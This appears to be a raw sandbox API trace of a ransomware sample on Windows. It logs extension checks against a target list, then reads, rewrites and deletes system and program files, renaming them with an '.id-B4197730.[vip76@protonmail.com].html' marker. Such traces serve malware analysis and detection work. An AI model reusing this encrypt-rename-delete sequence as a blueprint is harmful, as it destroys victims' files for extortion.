	[0205.626] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0205.626] lstrlenW (lpString=".pdf") returned 4
	[0205.626] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0205.626] lstrlenW (lpString=".xls") returned 4
	[0205.626] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0205.626] lstrlenW (lpString=".xlsx") returned 5
	[0205.626] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0205.626] lstrlenW (lpString=".ppt") returned 4
	[0205.626] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0205.626] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0205.626] lstrlenW (lpString=".zip") returned 4
	[0205.626] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0205.626] lstrlenW (lpString=".rar") returned 4
	[0205.626] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0205.626] lstrlenW (lpString=".bz2") returned 4
	[0205.626] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0205.626] lstrlenW (lpString=".7z") returned 3
	[0205.626] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0205.630] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.631] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.633] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.634] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.873] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0205.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0205.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1
	[0205.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0206.195] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.195] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.195] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0206.196] GetLastError () returned 0x0
	[0206.196] ReadFile (in: hFile=0x340, lpBuffer=0x42de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffecc, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesRead=0x38ffecc*=0x9040, lpOverlapped=0x0) returned 1
	[0206.212] WriteFile (in: hFile=0x344, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x38ffc94, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffc94*=0x9050, lpOverlapped=0x0) returned 1
	[0206.214] ReadFile (in: hFile=0x340, lpBuffer=0x42de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffecc, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesRead=0x38ffecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.214] WriteFile (in: hFile=0x344, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38ffc94, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffc94*=0xf0, lpOverlapped=0x0) returned 1
	[0206.214] SetEndOfFile (hFile=0x344) returned 1
	[0206.215] CloseHandle (hObject=0x344) returned 1
	[0206.215] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.215] SetEndOfFile (hFile=0x340) returned 1
	[0206.216] CloseHandle (hObject=0x340) returned 1
	[0206.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0206.216] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1
	[0206.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.217] lstrlenW (lpString=".doc") returned 4
	[0206.217] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0206.217] lstrlenW (lpString=".docx") returned 5
	[0206.217] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0206.217] lstrlenW (lpString=".pdf") returned 4
	[0206.217] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0206.217] lstrlenW (lpString=".xls") returned 4
	[0206.217] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0206.217] lstrlenW (lpString=".xlsx") returned 5
	[0206.217] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0206.217] lstrlenW (lpString=".ppt") returned 4
	[0206.490] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0206.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.490] lstrlenW (lpString=".zip") returned 4
	[0206.490] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0206.490] lstrlenW (lpString=".rar") returned 4
	[0206.490] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0206.490] lstrlenW (lpString=".bz2") returned 4
	[0206.490] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0206.490] lstrlenW (lpString=".7z") returned 3
	[0206.490] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0206.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.490] lstrlenW (lpString=".dbf") returned 4
	[0206.490] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0206.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.490] lstrlenW (lpString=".1cd") returned 4
	[0206.490] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0206.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.490] lstrlenW (lpString=".jpg") returned 4
	[0206.490] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0206.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.491] lstrlenW (lpString=".doc") returned 4
	[0206.491] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0206.491] lstrlenW (lpString=".docx") returned 5
	[0206.491] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0206.491] lstrlenW (lpString=".pdf") returned 4
	[0206.491] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0206.491] lstrlenW (lpString=".xls") returned 4
	[0206.491] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0206.491] lstrlenW (lpString=".xlsx") returned 5
	[0206.491] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0206.491] lstrlenW (lpString=".ppt") returned 4
	[0206.491] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0206.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.491] lstrlenW (lpString=".zip") returned 4
	[0206.491] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0206.491] lstrlenW (lpString=".rar") returned 4
	[0206.491] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0206.491] lstrlenW (lpString=".bz2") returned 4
	[0206.491] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0206.491] lstrlenW (lpString=".7z") returned 3
	[0206.491] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0206.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.491] lstrlenW (lpString=".dbf") returned 4
	[0206.491] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0206.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.491] lstrlenW (lpString=".1cd") returned 4
	[0206.491] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0206.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0206.492] lstrlenW (lpString=".jpg") returned 4
	[0206.492] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0206.492] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0206.492] lstrlenW (lpString="msvcr120.dll") returned 12
	[0206.492] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0206.493] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=963232) returned 1
	[0206.493] CloseHandle (hObject=0x36c) returned 1
	[0206.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20
	[0206.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.493] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0206.494] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.494] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.494] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0206.497] GetLastError () returned 0x0
	[0206.497] ReadFile (in: hFile=0x36c, lpBuffer=0x42de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffecc, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesRead=0x38ffecc*=0xeb2a0, lpOverlapped=0x0) returned 1
	[0206.941] WriteFile (in: hFile=0x370, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x38ffc94, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffc94*=0xeb2b0, lpOverlapped=0x0) returned 1
	[0206.959] ReadFile (in: hFile=0x36c, lpBuffer=0x42de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffecc, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesRead=0x38ffecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.959] WriteFile (in: hFile=0x370, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38ffc94, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.959] SetEndOfFile (hFile=0x370) returned 1
	[0206.959] CloseHandle (hObject=0x370) returned 1
	[0206.959] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.959] SetEndOfFile (hFile=0x36c) returned 1
	[0206.967] CloseHandle (hObject=0x36c) returned 1
	[0206.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0206.968] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1
	[0206.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.968] lstrlenW (lpString=".doc") returned 4
	[0206.968] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0206.968] lstrlenW (lpString=".docx") returned 5
	[0206.968] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0206.968] lstrlenW (lpString=".pdf") returned 4
	[0206.968] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0206.968] lstrlenW (lpString=".xls") returned 4
	[0206.969] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0206.969] lstrlenW (lpString=".xlsx") returned 5
	[0206.969] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0206.969] lstrlenW (lpString=".ppt") returned 4
	[0206.969] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0206.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.969] lstrlenW (lpString=".zip") returned 4
	[0206.969] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0206.969] lstrlenW (lpString=".rar") returned 4
	[0206.969] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0206.969] lstrlenW (lpString=".bz2") returned 4
	[0206.969] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0206.969] lstrlenW (lpString=".7z") returned 3
	[0206.969] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0206.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.969] lstrlenW (lpString=".dbf") returned 4
	[0206.969] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0206.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.969] lstrlenW (lpString=".1cd") returned 4
	[0206.969] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0206.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.969] lstrlenW (lpString=".jpg") returned 4
	[0206.969] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0206.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.969] lstrlenW (lpString=".doc") returned 4
	[0206.969] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0206.969] lstrlenW (lpString=".docx") returned 5
	[0206.969] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0206.969] lstrlenW (lpString=".pdf") returned 4
	[0206.969] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0206.969] lstrlenW (lpString=".xls") returned 4
	[0206.970] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0206.970] lstrlenW (lpString=".xlsx") returned 5
	[0206.970] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0206.970] lstrlenW (lpString=".ppt") returned 4
	[0206.970] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0206.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.970] lstrlenW (lpString=".zip") returned 4
	[0206.970] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0206.970] lstrlenW (lpString=".rar") returned 4
	[0206.970] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0206.970] lstrlenW (lpString=".bz2") returned 4
	[0206.970] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0206.970] lstrlenW (lpString=".7z") returned 3
	[0206.970] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0206.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.970] lstrlenW (lpString=".dbf") returned 4
	[0206.970] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0206.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.970] lstrlenW (lpString=".1cd") returned 4
	[0206.970] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0206.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0206.970] lstrlenW (lpString=".jpg") returned 4
	[0206.970] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0206.970] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0206.970] lstrlenW (lpString="npt.dll") returned 7
	[0206.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0206.971] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x38fff14 | out: lpFileSize=0x38fff14*=19008) returned 1
	[0206.971] CloseHandle (hObject=0x36c) returned 1
	[0206.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20
	[0206.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.971] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0206.971] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.971] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.972] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0206.972] GetLastError () returned 0x0
	[0206.972] ReadFile (in: hFile=0x36c, lpBuffer=0x42de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffecc, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesRead=0x38ffecc*=0x4a40, lpOverlapped=0x0) returned 1
	[0207.367] WriteFile (in: hFile=0x370, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x38ffc94, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffc94*=0x4a50, lpOverlapped=0x0) returned 1
	[0207.562] ReadFile (in: hFile=0x36c, lpBuffer=0x42de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffecc, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesRead=0x38ffecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.562] WriteFile (in: hFile=0x370, lpBuffer=0x42de020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38ffc94, lpOverlapped=0x0 | out: lpBuffer=0x42de020*, lpNumberOfBytesWritten=0x38ffc94*=0xe2, lpOverlapped=0x0) returned 1
	[0207.562] SetEndOfFile (hFile=0x370) returned 1
	[0208.025] CloseHandle (hObject=0x370) returned 1
	[0208.066] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.066] SetEndOfFile (hFile=0x36c) returned 1
	[0208.078] CloseHandle (hObject=0x36c) returned 1
	[0208.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0208.082] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1
	[0208.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.082] lstrlenW (lpString=".doc") returned 4
	[0208.082] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0208.082] lstrlenW (lpString=".docx") returned 5
	[0208.082] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0208.082] lstrlenW (lpString=".pdf") returned 4
	[0208.083] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0208.083] lstrlenW (lpString=".xls") returned 4
	[0208.083] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0208.083] lstrlenW (lpString=".xlsx") returned 5
	[0208.083] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0208.083] lstrlenW (lpString=".ppt") returned 4
	[0208.083] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0208.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.083] lstrlenW (lpString=".zip") returned 4
	[0208.083] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0208.083] lstrlenW (lpString=".rar") returned 4
	[0208.083] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0208.083] lstrlenW (lpString=".bz2") returned 4
	[0208.083] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0208.083] lstrlenW (lpString=".7z") returned 3
	[0208.083] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0208.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46
	[0208.083] lstrlenW (lpString=".dbf") returned 4
